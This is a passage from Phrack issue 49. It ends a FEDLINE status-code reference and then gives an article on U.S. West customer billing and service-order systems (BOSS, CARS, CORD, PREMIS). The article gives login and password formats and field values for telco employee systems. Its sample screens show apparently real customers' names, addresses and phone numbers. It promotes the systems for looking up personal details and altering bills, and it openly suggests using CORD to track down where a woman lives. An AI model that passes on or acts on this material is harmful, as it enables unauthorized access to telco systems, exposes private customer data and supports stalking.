  8037.                                                   for Bank-to-Bank Drawdown
  8038.  
  8039. 1633                            N                 Refusal of Request for
  8040.                                                   Bank-to-Bank Drawdown
  8041.  
  8042. 1640                            D                 Structured Transfer of
  8043.                                                   Funds
  8044.  
  8045. 1690                            N                 Service Message regarding
  8046.                                                   Settlement Transfer
  8047.  
  8048. 3004                            N                 Check Return Item
  8049.                                                   Notification
  8050.  
  8051. 3006                            N                 Check Return Item
  8052.                                                   Cancellation
  8053.  
  8054. 3009                            N                 Check Return Item
  8055.                                                   Duplicate Notification
  8056.  
  8057. 3090                            N                 Check Return Item
  8058.                                                   Service Message
  8059.  
  8060.  
  8061. ============================================================================
  8062.  
  8063.  
  8064.  
  8065.  
  8066.  
  8067.                         Securities Transfer Messages.
  8068.  
  8069.  
  8070. Accounting status of message indicates how the message is to be
  8071. processed into the SECURITIES balances of the FEDLINE Reserve Account
  8072. Monitor from the standpoint of the original DI. For Securities
  8073. messages, this should indicate the direction of the Cash side of the
  8074. transaction.
  8075.  
  8076. Type/Sub                  Acct. Status            Description
  8077. ~~~~~~~~                  ~~~~~~~~~~~~         ~~~~~~~~~~~~~~~~~~~~~~~~~~~
  8078. 2000                            C                 Security Transfer Message
  8079.  
  8080. 2001                            N                 Request for Reversal of
  8081.                                                   Security Transfer
  8082.  
  8083. 2002                            C                 Reversal of Security
  8084.                                                   Transfer
  8085.  
  8086. 2008                            N                 Request for Shipment of
  8087.                                                   Definitive Agency
  8088.                                                   Securities
  8089.  
  8090. 2090                            N                 Service Message regarding
  8091.                                                   Securities Transfer
  8092.  
  8093. 2500                            C                 Original Issue (OI)
  8094.                                                   Transfer
  8095.                                                   (Sent by FRB or
  8096.                                                    Agency only)
  8097.  
  8098. 2501                            N                 Request for Reversal of
  8099.                                                   OI Transfer
  8100.  
  8101. 2502                            C                 Reversal of OI Transfer
  8102.  
  8103. 2590                            N                 Service Message regarding
  8104.                                                   OI Transfer
  8105.  
  8106. 2700                            C                 Government Agency
  8107.                                                   Securities Charge
  8108.                                                   (Sent by FRB or
  8109.                                                    Agency only)
  8110.  
  8111. 2705                            C                 Adjustment to Government
  8112.                                                   Agency Securities
  8113.                                                   (Sent by FRB or
  8114.                                                    Agency only)
  8115.  
  8116. 2790                            N                 Service Message regarding
  8117.                                                   Government Agency
  8118.                                                   Securities Charge
  8119.  
  8120. 2800                            D                 Government Agency
  8121.                                                   Securities Credit
  8122.                                                   (Sent by FRB or
  8123.                                                    Agency only)
  8124.  
  8125. 2805                            D                 Adjustment to Government
  8126.                                                   Agency Securities
  8127.                                                   (Sent by FRB or
  8128.                                                    Agency only)
  8129.  
  8130. 2890                            N                 Service Message regarding
  8131.                                                   Government Agency
  8132.                                                   Securities Credit
  8133.  
  8134. 8200                            N                 Conversion of Security
  8135.                                                   from BE to Bearer
  8136.  
  8137. 8202                            N                 Reversal of BE to Bearer
  8138.                                                   Conversion
  8139.                                                   (Sent by FRB or 
  8140.                                                    Agency only)
  8141.  
  8142. 8800                            N                 Conversion of Security
  8143.                                                   from BE to Registered
  8144.  
  8145. 8802                            N                 Reversal of BE to
  8146.                                                   Registered Conversion
  8147.                                                   (Sent by FRB or
  8148.                                                    Agency only)
  8149.  
  8150. 8900                            D                 Maturity Payment
  8151.                                                   (Sent by FRB or 
  8152.                                                    Agency only)
  8153.  
  8154. 8906                            D                 Interest Payment
  8155.                                                   (Sent by FRB or 
  8156.                                                    Agency only)
  8157.  
  8158. 8990                            N                 Service Message regarding
  8159.                                                   Maturity and Interest
  8160.                                                   Payments
  8161.  
  8162.  
  8163.  
  8164.  
  8165. ============================================================================
  8166.  
  8167.  
  8168.  
  8169.  
  8170.  
  8171.                         Message Status Codes
  8172.  
  8173.  
  8174.   A list of status codes that may appear on the bottom of your screen
  8175.   while processing messages:
  8176.  
  8177.  
  8178. ENTRY CODES - assigned when a message is entered or intentionally
  8179.               withheld from transmission for a variety of reasons,
  8180.               such as insufficient Local Reserve Account Monitor
  8181.               funds. Includes messages which are not verified,
  8182.               or warehoused for future transmission.
  8183.  
  8184.  
  8185.                             ET  Entered Transaction
  8186.                             EH  Entered to be held
  8187.                             EW  Entered to be Warehoused
  8188.                             MC  Marked for Correction
  8189.                             MS  Marked for safe-stored
  8190.                            
  8191.                            
  8192. HELD CODES - assigned when a message is intentionally detained from
  8193.              further processing until a FEDLINE operator releases it.
  8194.  
  8195.  
  8196.                             HT Held Transaction (by operator)
  8197.                             HS Held by supervisory order
  8198.                             HM Held by account monitor
  8199.                             HO Held because terminal is off-line
  8200.  
  8201.  
  8202. LOCAL COMPLETION CODES - assigned when a message has been warehoused and
  8203.                          verified or canceled.
  8204.  
  8205.  
  8206.                             VW Transaction Warehoused
  8207.                             CN Transaction Canceled
  8208.                             DN Done
  8209.  
  8210.  
  8211. TRANSMISSION CODES - assigned when a message is ready for transmission or
  8212.                      after transmission has been completed.  
  8213.                      The transmission status of a message is updated by
  8214.                      Short Acknowledgments and responses from the
  8215.                      host computer.
  8216.  
  8217.  
  8218.                             TQ Queued for Transmission
  8219.                             TC Transmission Completed
  8220.                             TH Transmission rejected by host
  8221.                             TU Transmission Unconfirmed
  8222.                             TA Transmitted and Accepted
  8223.                             TR Transmitted and rejected
  8224.                             TI Transmitted but intercepted
  8225.  
  8226.  
  8227. ============================================================================
  8228.  
  8229.  
  8230.  
  8231.  
  8232.  
  8233.                         Batch Status Codes
  8234.  
  8235.   The following list of status codes describes the processing condition
  8236.   of an ACH batch.  A status code appears in the upper right corner of
  8237.   the ACH batch header and batch balancing screens, as well as the
  8238.   Return Item and Notification of Change screens. Status codes can be
  8239.   used to retrieve batches from the Batch Selection Criteria Screens for
  8240.   further processing.
  8241.  
  8242.  
  8243. Entry Codes - assigned when a batch is created. Includes all batches which
  8244.               are balanced and ready for collection.
  8245.  
  8246.  
  8247.                             ET Entered
  8248.                             VR Verified / Balanced
  8249.                            
  8250.                            
  8251. Local Completion Codes - assigned when a batch has been canceled
  8252.  
  8253.  
  8254.                             CN Canceled
  8255.                            
  8256.                            
  8257. Transmission Codes - assigned when a batch is selected and queued for    
  8258.                      transmission. Includes batches that were not
  8259.                      transmitted due to an error.
  8260.  
  8261.  
  8262.                             CL Collected
  8263.                             IP Interrupted Processing
  8264.                            
  8265.                            
  8266. ============================================================================
  8267.  
  8268.  
  8269.  
  8270.  
  8271.  
  8272.                         File Status Codes
  8273.  
  8274.     The following list of status codes describes the processing
  8275.     condition of ACH files.
  8276.  
  8277.  
  8278. Entry Codes - assigned when a file is created or received.
  8279.  
  8280.  
  8281.                             ET File Created 
  8282.                             RC File Received 
  8283.  
  8284.  
  8285. Local Completion Codes - assigned after an incoming file has been processed
  8286.                          from the FRB.
  8287.  
  8288.  
  8289.                             RP File Received and Processed
  8290.  
  8291.  
  8292. Transmission Codes - assigned when a file is queued for transmission or
  8293.                      after transmission has been completed.  Includes
  8294.                      files which were not transmitted due to some
  8295.                      processing error.
  8296.  
  8297.  
  8298.                             TQ File created and queued in PC
  8299.                             TC Transmitted complete to host queue
  8300.                             IP Interrupted Processing
  8301.  
  8302.  
  8303. ============================================================================
  8304.                               .oO Phrack 49 Oo.
  8305.  
  8306.                           Volume Seven, Issue Forty-Nine
  8307.  
  8308.                                     13 of 16
  8309.  
  8310.  
  8311.  
  8312.                 .-----------------------------------------.
  8313.                 | Telephone Company Customer Applications |
  8314.                 |-----------------------------------------|
  8315.                 |            Voyager[TNO]                 |
  8316.                 `-----------------------------------------'
  8317.  
  8318.  
  8319. Telco's use many types of software.  In addition to the run-of-the-mill
  8320. employee applications such as OfficeVisions, PROFS, and the usual trashy
  8321. selection of DOS/Win applications, telco's use two types of much more
  8322. interesting software:
  8323.  
  8324.     . Customer applications
  8325.     . Provisioning applications
  8326.  
  8327. Customer applications are used by telco personnel to deal with customer
  8328. issues, such as billing and service orders.  Provisioning applications are
  8329. used to deal with the actual phone network itself.
  8330.  
  8331. Customer applications include BOSS, CARS, CORD, SOLAR, SOPAD, OSCAR, and
  8332. PREMIS.  Provisioning applications include FACS, March, April, COSMOS,
  8333. Switch and FOMS/FUSA.
  8334.  
  8335. Most of what has been written regarding telco software covered provisioning
  8336. applications.  While much can be done with provisioning applications, you
  8337. will soon see the incredible opportunities offered by Customer
  8338. Applications.  Within the family of Customer Applications you will find the
  8339. ability to locate personal information, look up addresses by telephone
  8340. number, and modify customer bills.
  8341.  
  8342. Experienced dumpster divers will recognize many of the screens shown in
  8343. this article.
  8344.  
  8345.  
  8346.  
  8347.                 .------------------------------.
  8348.                 | Part I: Billing Applications |
  8349.                 `------------------------------'
  8350.  
  8351. BOSS
  8352. ~~~~
  8353. BOSS (Billing and Order Support System) contains bill and credit
  8354. information, equipment information, carrier billing information, customer
  8355. contact notes and payment history.  BOSS is used in the Central and Eastern
  8356. Territories of U.S. West.  To login to BOSS, you must enter your a ID, a
  8357. two character alphanumeric office code, and a five character password.
  8358. BOSS passwords expire after 30 days and cannot be re-used.
  8359.  
  8360. BOSS is operated largely with PF keys:
  8361.  
  8362.     PF1  = ENTRY    (Entry Screen)
  8363.     PF2  = BILL    (Entity and Summary Bill)
  8364.     PF3  = IC    (Itemized Calls)
  8365.     PF4  = OCC    (Other Charges and Credits)
  8366.     PF5  = CSR    (Customer Service Record)
  8367.     PF6  = PREV    (Previous Months Bill)
  8368.     PF7  = NEXT    (Next)
  8369.     PF8  = Note    (Notations)
  8370.     PF9  = ASUM    (Adjustments Summary)
  8371.     PF10 = COMPUTE    (Compute)
  8372.     PF11 = F/B    (Forward/Back)
  8373.  
  8374.  
  8375. PF2 will bring up the Billing Screen, which will show you the contact names
  8376. and telephone numbers for the account you are looking at.  The CSBL screen
  8377. is completely covered with information, and it is impossible to get
  8378. everything out of it without careful study.  There are at least two
  8379. versions of BOSS in use, this screen is a mix of the two that I am familiar
  8380. with:
  8381.  
  8382. +-----------------------------------------------------------------------------+
  8383. |CMD                                    MSG COMMAND COMPLETED (I210)          | 
  8384. |(a)303 265 8545 (b)153 (c)NP (d)JAN 16 93 *CSBL (e)LIVE       (f)DNV (g)1FR  |
  8385. |(h)DARIN STOREY         (i)PB 0205 (m)RT     (q)AC D-00 (t)DEP 0 CN  (x)BD N |
  8386. |515-D GIRARD BLVD S E   (j)R1 0126 (n)ES     (r)CT      (u)DOI 030492 (y)LCU |
  8387. |BOULDER CO        80301 (k)R2 0216 (o)NT C A (s)NOB     (v)TAX FSLCF- (z)LCR |
  8388. |                        (l)R3 0224 (p)PPD               (w)TAR AJ     (A)LAL |
  8389. |                       (B)CI   SEARS  SUPVSR 2426767 MS  SANDI SM POE NLR    |
  8390. |DAD MICHAEL STOREY 2755595                        (C)CBR                     |
  8391. |        (D)SSN           (E)VL (F)TRT HIST 059511111111      (G)CIV 0290     |
  8392. |                               (H)RCK HIST 000000000000  (I)PAH              |
  8393. |                            PREV BL    168.55       CUR BL      116.24       |
  8394. |                             PAY & ADJ PREV BILL    PAY AND ADJ CURR BILL    |
  8395. |                            DATE  T     AMOUNT     DATE  T       AMOUNT      |
  8396. |                             1223 01   101.15                                |
  8397. | (J)010        30.42                                                         |
  8398. |    221         9.03                                                         |
  8399. |    300         9.39                                                         |
  8400. | (K)CCG        48.84                                                         |
  8401. | (L)BAL        67.40                                                         |
  8402. | (M)TOT       116.24                            (N)CUR DUE    116.24         |
  8403. | (O)RP  (P)NOTATION                    (Q)TYPE  (R)PN  (S)ACT  (T)FU  (U)BD  |
  8404. |                                                                   0193 (V)+ |
  8405. +-----------------------------------------------------------------------------+
  8406.  
  8407. Legend:    
  8408.         (a) Telephone number
  8409.     (b) Customer code
  8410.     (c) Listing Type        (See below)
  8411.     (d) Most current bill date
  8412.     (e) Account Status Code        (See below)
  8413.     (f) Alpha code for the serving exchange
  8414.     (g) Class of service        (See below)
  8415.     (h) Billing name
  8416.     (i) Pay-By-Date, month and day payment is due
  8417.     (j) Previous months denial date
  8418.     (k) Date first collection notice is sent out
  8419.     (l) Date account will be denied and referred to CMC
  8420.     (m) Remove from treatment amount
  8421.     (n) Entity Status        (See below)
  8422.     (o) No Treatment Indicator    (See below)
  8423.     (p) Preferred Payment Date
  8424.     (q) Account Classification (credit classification)
  8425.     (r) Carryover Treat History (unimplemented)
  8426.     (s) Number of bills the customer receives
  8427.     (t) Total deposit held on the account 
  8428.     (u) Date of Installation
  8429.     (v) Tax Code
  8430.     (w) Tax Area Code
  8431.         (x) Bank Draft
  8432.     (y) Local Units Used (unimplemented)
  8433.     (z) Local Usage Units Credited (unimplemented)
  8434.     (A) Local Usage Units Allowed (unimplemented)
  8435.     (B) Credit Information
  8436.     (C) Can Be Reached 
  8437.     (D) Social Security Number
  8438.     (E) Central Office is Voice Link capable
  8439.     (F) Treatment History (read right to left)
  8440.     (G) Credit Information Verified (date CI was last verified)
  8441.     (H) Returned Check History (read right to left)
  8442.     (I) Previous Account History
  8443.     (J) Charges by Entity (charges from AT&T, MCI, etc...)
  8444.     (K) Current Charges
  8445.     (L) Balance from the previous bill
  8446.     (M) Total 
  8447.     (N) Current Due
  8448.     (O) Responsible Party
  8449.     (P) Notation
  8450.     (Q) Type code
  8451.     (R) Position Number (BOSS user position number)
  8452.     (S) The action to be taken
  8453.     (T) Follow-up date
  8454.     (U) Bill Date
  8455.         (V) Notation Indicator (+ means there are display pages of notations)
  8456.                                (P means there are permanent notations)
  8457.  
  8458. Listing types include:
  8459.  
  8460.     NP        Non-Published
  8461.     NL or NLIST     Non-Listed
  8462.     <null>        Published
  8463.  
  8464.  
  8465. Account Status Codes are shown in order of priority.  SNP, SUSP, DISC,
  8466. OCAx, LEGX and W-OFF codes are highlighted on the screen.  Account Service
  8467. Codes include:
  8468.  
  8469.     OCAx    Account has been referred to an outside collection agency
  8470.     LEGX    Account has been referred to legal
  8471.     W-OFF   Written OFF FINAL BILL
  8472.     FIN-R    Revised final bill
  8473.     FIN-I    Initial Final Bill
  8474.     DISC    Service has been disconnected
  8475.     SNP    Service has been interrupted for non-payment
  8476.     SUSP    Service has been temporarily suspended at customer request
  8477.     INIT    Initial bill
  8478.     LIVE    Live bill
  8479.     SCD    Select Carrier Denial
  8480.  
  8481.  
  8482. Class of Service Codes include:
  8483.  
  8484.     1FR    One Flat Rate
  8485.     1MR    One Measured Rate
  8486.     1PC    One Pay Phone
  8487.     CDF    DTF Coin
  8488.     PBX    Private Branch Exchange (Direct Inward Dialing ext.)
  8489.     CFD    Coinless ANI7 Charge-a-Call
  8490.     INW    InWATS
  8491.     OWT    OutWATS
  8492.     PBM    0 HO/MO MSG REG (No ANI)
  8493.     PMB    LTG = 1 HO/MO Regular ANI6
  8494.  
  8495. Entity Status is used to restrict access to toll services.  The three digit
  8496. carrier code is listed, followed by the letters S, C or F.
  8497.  
  8498. If the NT (No Treatment Indicator) is C, the computer sends out a late
  8499. notice on the R2 date.  If the NT is T, there is a temporary reprieve and
  8500. the computer will not sent out a late notice this month.  If the NT is M or
  8501. P, late notices are never sent.
  8502.  
  8503. PF11 from this screen will take you through the entity CSBL's.
  8504.  
  8505. PF5 will show you the customers Current Service Record.  The CSR screen
  8506. will look something like this:
  8507.  
  8508. +-----------------------------------------------------------------------------+
  8509. |CMD                                           MSG                            |
  8510. |(a)303 864 2475 (b)298 NP (c)NOV 10 99    *CSR        (d)P  1  2    DNV 1FR  |
  8511. |(e)BARBARA ANDERSON FOR                                                      |
  8512. |XSBN 2-864-2475                                                              |
  8513. |        (f)---LIST                                                           |
  8514. |                  NP   (NP) ANDERSON, DARRYL B                               |
  8515. |                  LA   5425 ROWLAND CT                                       |
  8516. |        (g)---BILL                                                           |
  8517. |                  BN1  BARBARA    ANDERSON FOR                                  |
  8518. |                  BN2  DARRYL B ANDERSON                                     |
  8519. |                  BA1  5425 ROWLAND CT                                       |
  8520. |                  PO   80301 /TAR GQ                                         |
  8521. |        (h)---S&E                                                            |
  8522. |                                   (i)ORIG SERV ESTAB 8-17-78                |
  8523. |(j)     (k)                    (l)                    (m)       (n)          |
  8524. |20182   1825                   NPU   /1000            1.31      1.31         |
  8525. |41481   7001                   TTR   /1000            1.12      1.12         |
  8526. |82585   3793                   1FR   /1000/PICX288    5.60      5.60         |
  8527. |41481   2140                   KH9   /1000            .00        .00         |
  8528. |22782   5106                   WMR   /1000/D          .56        .56         |
  8529. |41481   7001                   RJ11C /1000/D          .00        .00         |
  8530. |                                                                             |
  8531. |RP      NOTATION               TYPE   PN              ACT FU BD              |
  8532. |                                                                  1299       |
  8533. +-----------------------------------------------------------------------------+
  8534.  
  8535. Legend:    
  8536.         (a) Telephone number
  8537.     (b) Customer code
  8538.     (c) Most current bill date
  8539.     (d) Page number
  8540.     (e) Billing name
  8541.     (f) LIST section containing listed name and address
  8542.     (g) BILL section containing billing name and address
  8543.     (h) S&E section containing products and service
  8544.     (i) Date original service was established
  8545.     (j) Date each service was installed
  8546.     (k) Last 4 digits of order number that put service online
  8547.     (l) USOC's representing the products and services on the account
  8548.         (See below)
  8549.     (m) Monthly rate for each USOC
  8550.     (n) Amount billed for USOC total
  8551.  
  8552. USOC Codes include:
  8553.  
  8554.     ESC    Three Way Calling
  8555.     ESF    Speed Calling
  8556.         ESL     Speed Calling 8 Code
  8557.     ESM    Call Forwarding
  8558.     ESX    Call Waiting
  8559.     EVB    Busy Call Forward
  8560.     EVC    Busy Call Forward Extended
  8561.     EVD    Delayed Call Forwarding
  8562.     HM1    Intercom Plus
  8563.     HMP    Intercom Plus
  8564.     MVCCW    Commstar II Call Waiting
  8565.  
  8566.  
  8567.  
  8568. PF8 allows you to view the notes the telco is keeping on the customer. This
  8569. is not a free-form notes screen, but is instead very structured. Notes are
  8570. automatically deleted after two months unless the type code PERM is used.
  8571.  
  8572. +-----------------------------------------------------------------------------+
  8573. |CMD                                           MSG                            |
  8574. |303 864 2475 2298 NP 3NOV 10 99    *CSR        P  1  2    DNV 1FR            |
  8575. |                                                                             |
  8576. |BARBARA ANDERSON FOR                                                         |
  8577. |                                                                             |
  8578. |DATE  RP     NOTATION                                 USR  TYPE  PN  ACT  FU |
  8579. |1209  1988   ESTAB FREE 976 BLOCK 12-9-88             LTR  PERM              |
  8580. |0324  BARB   SLD CCS DD 3-1                           SKJ  PSOC              |
  8581. |0213  NONE                                            NBV  CHK               |
  8582. |0213  BARB   LOST BL ND DUPT SNT ASAP. AGRD ML COPY   NBV  MISC              |
  8583. |             TDA. VRFY BL ADDR                                               |
  8584. |                                                                             |
  8585. |RP           NOTATION                                 TYPE PN  ACT  FU BD    |
  8586. |                                                                      1299   |
  8587. +-----------------------------------------------------------------------------+
  8588.  
  8589. Valid type codes include: 
  8590.  
  8591.     MISC    Miscellaneous
  8592.     CHK    Account review or pulled up wrong account 
  8593.     PERM     Permanent
  8594.     PASS     Contact Passed Intra Company
  8595.     MORE    More data follows on an additional screen
  8596.     OTHM    Carrier toll and inquiry
  8597.     OHTD    Carrier toll and inquiry
  8598.         OTHB    Non-specific billing question
  8599.     PSON    New connect, order negotiation
  8600.         CPN     New connect, order canceled
  8601.     QPON    New connect, order inquiry
  8602.  
  8603.  
  8604.  
  8605. CARS
  8606. ~~~~
  8607. CARS (Customer Access and Retrieval System) is used in the Western
  8608. Territories of U.S. West.  CARS stores bill and credit information,
  8609. equipment information, carrier billing information, customer contact notes
  8610. and payment history.  CARS user id's are six characters and normally begin
  8611. with a 'B' for business.  CARS passwords (lockwords, in U.S. West parlance)
  8612. are from 4 to either characters and must contain at least one alpha and one
  8613. numeric character.  CARS passwords expire after 30 days.  You will also be
  8614. asked for a Project Code (use 'M'), a Group Code (use 'G') and a Position
  8615. #.  The Position # consists of a pair of two character fields.  The first
  8616. two characters are the office code and the second two characters identify
  8617. the individual employee.  The CARS interface is quite similar to the BOSS
  8618. interface.  The function keys for CARS are:
  8619.  
  8620.     PF1  = LDD     (Long Distance Detail)
  8621.     PF2  = CSBL     (Current Status Bill)
  8622.     PF3  = BILL     (Bill Detail)
  8623.     PF4  = QTFU     (Query/Treatment Follow-Up)
  8624.     PF5  = CCSR    (Current Customer Service Record)
  8625.     PF6  = PREV    (Previous Month's Information)
  8626.     PF7  = PADJ    (Payment and Adjustments)
  8627.     PF8  = NOTE    (Notations)
  8628.     PF9  = ABIL    (Adjustment Bill)
  8629.     PF10 = COMPUTE    (Compute)
  8630.     PF11 = F/B    (Forward/Back)
  8631.     PF12 = BESS    (Billed Entry Status Screen)
  8632.  
  8633.  
  8634. PF2 will bring up the CSBL (Current Service Bill) screen, which shows you
  8635. the "can be reached" numbers and names for the account you are looking at.
  8636.  
  8637. PF5 will bring up the Current Service Record (CSR).  A CARS CSR screen
  8638. resembles a BOSS CSR screen:
  8639.  
  8640. +-----------------------------------------------------------------------------+
  8641. |CMD___________________________________________    Q:                         |
  8642. |(a)303 864 2475 (b)2298 72W (c)NOV 10 99  *CCSR* LIVE (d)P00001     COS      |
  8643. |(e)BARBARA ANDERSON FOR        SEA 1FB         TAX FSL                       |
  8644. |        (f)---LIST                                                           |
  8645. |                  NP   (NP) ANDERSON, DARRYL B                               |
  8646. |                  LA   5425 ROWLAND CT                                       |
  8647. |        (g)---BILL                                                           |
  8648. |                  TAR  1700                                                  |
  8649. |                  MCN  NXWAC                                                 |
  8650. |                  COS  852-9200S                                             |
  8651. |                  BN1  BARBARA    ANDERSON FOR                                  |
  8652. |                  BN2  DARRYL B ANDERSON                                     |
  8653. |                  BA1  5425 ROWLAND CT                                       |
  8654. |        (h)---S&E                                                            |
  8655. |                  ENT  000                                                   |
  8656. |(i)        (j)       (qty)   (k)                         (l)    (tax codes)  |
  8657. |02/18/92   05/18/90    1     FB/TN 621-2475/PIC XXX/LPS  42.10     &#        |
  8658. |02/16/90   05/18/90    1     HSO/TN 621-2475/SLS          2.00     &#        |
  8659. |                             377000                                          |
  8660. |02/16/90   02/16/90    1     TTB/TN 621-2475/SLS          0.00     &         |
  8661. |                             377000                                          |
  8662. |02/16/90   02/16/90    1     9ZR/TN 621-2475/SLS          4.22               |
  8663. |                             377000                                          |
  8664. |RP-___________NOTE_________________________________________________________  |
  8665. |____________________________TYPE_____FLUP_____PN_____ACT_____BD_____USR_____ |
  8666. +-----------------------------------------------------------------------------+
  8667.  
  8668. Legend:    
  8669.         (a) Telephone number
  8670.     (b) Customer code
  8671.     (c) Most current bill date
  8672.     (d) Page number
  8673.     (e) Billing name
  8674.     (f) LIST section containing listed name and address
  8675.     (g) BILL section containing billing name and address
  8676.     (h) S&E section containing products and service
  8677.     (i) Date original service was established
  8678.     (j) Date each service was installed
  8679.     (k) USOC's representing the products and services on the account
  8680.     (l) Monthly rate for each USOC
  8681.  
  8682.  
  8683. Just as with BOSS, PF8 brings up the NOTE screen.  The CARS NOTE screen
  8684. differs slightly from the BOSS NOTE screen:
  8685.  
  8686. +-----------------------------------------------------------------------------+
  8687. |CMD__________________________________________________________           O:   |
  8688. |303 864 2475  298 NP  NOV 10 99    *NOTES*        L00001                     |
  8689. |BARBARA ANDERSON FOR          SEA 1FB            LC     00     TAX   FSLC    |
  8690. |                                                                             |
  8691. |DATE  RP     NOTATION                            USR  OFC  TYPE  PN  ACT  FU |
  8692. |1209  1991   DISCUSS BILL ONLY WITH BARBARA      LTR  TS1  PERM              |
  8693. |0324  BARB   C015364  DD  030199                                             |
  8694. |             SLD CCS                             SKJ  D18  PSOC              |
  8695. |0213  NONE                                       NBV  TS1  CHK               |
  8696. |0213  BARB   LOST BL ND DUPT SNT ASAP. AGRD                                  |
  8697. |             ML COPY TDA. VRFY BL ADDR           NBV  TS1  MISC              |
  8698. |                                                                             |
  8699. |RP           NOTATION                            TYPE  PN  ACT   FU    BD    |
  8700. |                                                                      1299   |
  8701. +-----------------------------------------------------------------------------+
  8702.  
  8703. Valid type codes include: MISC, CHK, PERM and PASS.
  8704.  
  8705.  
  8706.  
  8707.                 .-------------------------------------.
  8708.                 | Part II: Service Order Applications |
  8709.                 `-------------------------------------'
  8710.  
  8711. CORD
  8712. ~~~~
  8713. CORD (Customer Order Retrieval and Display) is used in the 206, 503 and 509
  8714. NPA's.  CORD has three functions:
  8715.  
  8716.         . Accessing service orders by order number
  8717.         . Locating order numbers by telephone number
  8718.         . Locating order numbers by telephone prefix
  8719.  
  8720. Let's say you know that an attractive young lady is moving into your
  8721. apartment complex but you don't know her apartment number or her telephone
  8722. number.  Connect to CORD and pull up all of the service orders for the
  8723. apartment complex's prefix and scan them until you find one in the
  8724. apartment complex on or near the date she moved in.  It's much easier if
  8725. you have at least a first name.
  8726.  
  8727. To use CORD, you will need to know the code for your NPA.  206 is 0, 503 is
  8728. 5 and 509 is 6.
  8729.  
  8730.  
  8731. SOLAR
  8732. ~~~~~
  8733. SOLAR (Service Order Logistics and Reference) is used in Southern 308, 319,
  8734. 402, 515, 605 and 712.  In addition, SOLAR is used in Northern 218, 507,
  8735. 612 and 701.  I do not know of an NPA where SOLAR is used exclusively.
  8736. SOLAR has two capabilities:
  8737.  
  8738.         . Accessing service orders by order number
  8739.         . Accessing service orders by telephone number
  8740.  
  8741.  
  8742. SOPAD
  8743. ~~~~~
  8744. SOPAD (Service Order Provisioning and Distribution) is used in 208, 303
  8745. (TNOland), 307, 406, 505, 602, 719 and 801.  SOPAD has two capabilities:
  8746.  
  8747.         . Accessing service orders by order number
  8748.         . Accessing service orders by telephone numbers
  8749.  
  8750.  
  8751.  
  8752.                 .--------------------------------------.
  8753.                 | Part III: Miscellaneous Applications |
  8754.                 `--------------------------------------'
  8755.  
  8756. PREMIS
  8757. ~~~~~~
  8758. PREMIS (Premises Information System) is a geographical database designed by
  8759. BellCore and used by various telco's across the country.  Using Premis, an
  8760. employee can do customer lookups by telephone number (CNA), check for
  8761. multiple subscribers at an address (upstairs/downstairs), and view account
  8762. status.  PREMIS can be used directly, but it is also used by applications
  8763. such as SONAR (Service Order Negotiation and Retrieval).
  8764.  
  8765. To do successful PREMIS lookups, you will need to be able to encode your
  8766. requests in the proper format.  This is very difficult unless to do this on
  8767. a regular basis. To make matters more difficult, "proper format" differs
  8768. from area to area, even within the same RBOC! Particularly difficult are
  8769. trailer parks, nursing homes, military bases and indian reservations.
  8770.  
  8771. The PREMIS input screen looks like this:
  8772. +-----------------------------------------------------------------------------+
  8773. |REQ PREM (a)                                                                 |
  8774. |SAGA (b)                                                                     |
  8775. |ADDR (c)                                                                     |
  8776. |LOC APT (d)                    FLR             BLDG                          |
  8777. |AHN (e)                RT      BOX (h)                                       |
  8778. |COM (f)        TN (i)            LN (j)                STATUS (k)            |
  8779. |                                                                             |
  8780. |DAC (g)                                                                      |
  8781. +-----------------------------------------------------------------------------+
  8782.  
  8783.         (a) Screen name (Request PREMIS)
  8784.         (b) Street Address Guide Area (see below)
  8785.         (c) Address
  8786.         (d) Location or apartment
  8787.         (e) Assigned House Number
  8788.         (f) Community
  8789.         (g) Destination Address Code
  8790.         (h) Route and Box
  8791.         (i) Telephone Number
  8792.         (j) Line Number
  8793.         (k) Status
  8794.  
  8795. Valid SAGA codes include:
  8796.  
  8797.         CHY     Northern Wyoming
  8798.         CPR     Southern Wyoming
  8799.         DNV     Denver, Colorado
  8800.         IDO     Idaho
  8801.         MTA     Montana
  8802.         NCO     Northern Colorado
  8803.         SCO     Southern Colorado
  8804.         NMX     New Mexico
  8805.         PNX     Phoenix
  8806.         TSN     Tucson
  8807.         UTA     Utah
  8808.         NE      Nebraska
  8809.  
  8810.  
  8811. If the PREMIS database was able to understand your query and find the
  8812. address information, you will see an output screen that looks like this:
  8813.  
  8814. +-----------------------------------------------------------------------------+
  8815. |REQ PREM TCAT (a)                 L# 1 BD (b)                                |
  8816. |SAGA MN (c)    EMP                   NMX                                     |
  8817. |ADDR 7821 LYNDALE AV S                                                       |
  8818. |LOC APT 11                     FLR             BLDG                          |
  8819. |AHN               RT           BOX                                           |
  8820. |COM***BLMGTN                              ST MN                              |
  8821. |         TN                       LN                           STATUS        |
  8822. |                                                                             |
  8823. |DES (d)                                                                      |
  8824. |DESCRIP (e) LYNDALE LODGE                                                    |
  8825. |    ZIP    55420    EX(f) MPLS  WC(g)  612881  NPA(h) 612   RZ(i)   00  RE(j)|
  8826. |     BO             DIR         RTZ(k) 2       CO(l)  881   LCL(m)  1ESS     |
  8827. |     PC(n) FDT,SAT  TELF(o)1ES  TAR(p) OTHR    PD(q)                         |
  8828. | (r)RMK                                                                      |
  8829. |                                                                             |
  8830. | (s)RMKT SCD: NPS ATX                                                        |
  8831. |                                                                             |
  8832. | (t)RMKB LCC IS LCT #                               (v)   (w)   (x)   (y)    |
  8833. |    (u)STAT NON-WORK      06-23-96 TN 612 505-1942  CT Y  CNF N DIP N CS 1FR |
  8834. |LN JORGENSEN,ROBERT C & DIANE                         MWS NONE               |
  8835. |                                                                             |
  8836. |DAC (z)                         +PIC          +PIC          +PIC             |
  8837. +-----------------------------------------------------------------------------+
  8838.      
  8839.         (a) Screen name (Request PREMIS Telephone Category)
  8840.         (b) Line ID number (Customer's 1st line, 2nd line, etc...)
  8841.         (c) Street Address Guide Area
  8842.         (d) Descriptive field
  8843.         (e) Descriptive address
  8844.         (f) Exchange
  8845.         (g) Wire Center
  8846.         (h) Numbering Plan Area
  8847.         (i) Resistance Zone
  8848.         (j) Ringer Equivalence
  8849.         (k) Rate Zone
  8850.         (l) Central Office
  8851.         (m) Local (switch type)
  8852.         (n) SAT means flow through orders can be negotiated.
  8853.             ASAT in this field means Saturday installer visits
  8854.             can be negotiated.
  8855.         (o) Telephone Features (switch type)
  8856.         (p) Tax Code
  8857.         (q) Plant District Code
  8858.         (r) Remark
  8859.         (s) Remark Basic
  8860.         (t) Remark Telephone
  8861.         (u) Status (see below)
  8862.         (v) Connect Through
  8863.         (w) Connected Facilities (service uninterrupted from previous tenant)
  8864.         (x) Dedicated Inside Plant
